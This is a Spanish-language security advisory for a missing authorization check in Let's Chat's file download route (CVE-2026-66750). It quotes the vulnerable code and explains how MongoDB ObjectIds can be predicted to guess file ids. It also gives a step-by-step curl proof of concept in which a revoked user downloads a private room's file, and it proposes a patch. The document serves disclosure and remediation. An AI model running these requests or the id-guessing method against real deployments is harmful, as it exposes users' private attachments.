
Aviso de Seguridad: Controles de Acceso Insuficientes Permiten Descargas de Archivos No Autorizadas (Let's Chat)
ID de CVE asignado: CVE-2026-66750
GET /files/:id/:name verifica que quien realiza la llamada haya iniciado sesión y luego sirve el archivo. Nunca comprueba si quien realiza la llamada tiene permiso para ver la sala a la que pertenece el archivo.
Por lo tanto, cualquier cuenta puede leer archivos adjuntos de salas privadas y protegidas con contraseña de las que no es miembro, y los usuarios cuyo acceso a una sala ha sido revocado conservan enlaces de descarga funcionales para todos los archivos que se subieron mientras tenían acceso.
El endpoint de listado de archivos del mismo controlador sí comprueba la membresía, algo que le falta al endpoint de descarga.
URL del repositorio: https://github.com/sdelements/lets-chat
Vulnerable desde 0.3.0 (commit 55e8833, 24 ene 2015, "Files backend") hasta 0.4.8, la versión final. No existe una versión corregida.
Las salas privadas y protegidas con contraseña llegaron en 0.4.0, por lo que la frontera de confidencialidad que esto cruza existe desde 0.4.0 en adelante.
Requiere files.enable: true, que está desactivado en defaults.yml pero activado en muchos despliegues, ya que compartir archivos es una funcionalidad documentada.
Confirmado en 0.4.8 en el commit 617207f y en docker.io/sdelements/lets-chat:latest (0.4.7).
CWE-639: Authorization Bypass Through User-Controlled Key. También CWE-862, Missing Authorization.
Puntuación base CVSS 4.0: 5.3 (Media)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
El atacante necesita una cuenta de usuario normal, acceso de red al puerto HTTP y el ObjectId de un archivo. El auto-registro está habilitado por defecto.
En la práctica, el id no es un secreto. Cualquiera que haya sido miembro de la sala ya lo tiene, porque tanto files:list como el mensaje upload://files/<id>/<name> publicado al subir el archivo lo revelan. La revocación del acceso no lo invalida, y la URL no tiene caducidad ni firma.
Para un atacante sin historial previo en la sala objetivo, el id debe adivinarse. Es un ObjectId de MongoDB, no un UUID, y muy poca parte de él es impredecible:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
Todo excepto el contador es constante durante la vida de un proceso de servidor, y el contador es una única secuencia compartida por todas las colecciones. Por lo tanto, un atacante que sube un archivo propio aprende el id de máquina, el id de proceso y la posición actual del contador, y todos los archivos subidos por cualquier otra persona quedan a poca distancia en esa secuencia. Ocho subidas consecutivas en sdelements/lets-chat:latest:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
La ruta de descarga aplica requireLogin y nada más. app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room se carga y luego nunca se consulta.
La ruta de listado de la misma funcionalidad sí comprueba la membresía. app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
Así que la aplicación ya tiene la comprobación que necesita (Room.canJoin, definida en app/models/room.js:130); la ruta de descarga simplemente no la invoca.
Requiere files.enable: true y rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
El mismo resultado se mantiene para una cuenta que nunca fue miembro de la sala, dado el id del archivo.
Los archivos adjuntos en salas privadas y protegidas con contraseña pueden ser leídos por cualquier cuenta del servidor que tenga o pueda derivar el id del archivo. Eliminar a alguien de una sala privada, o cambiar la contraseña de una sala, no corta su acceso a los archivos ya subidos, y archivar la sala tampoco.
Cargar la sala y reutilizar la comprobación que files:list ya realiza. En app/controllers/files.js:62, después de la cláusula de guarda if (!file):
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
Devolver 404 en lugar de 403 para un id no autorizado evita confirmar que el archivo existe.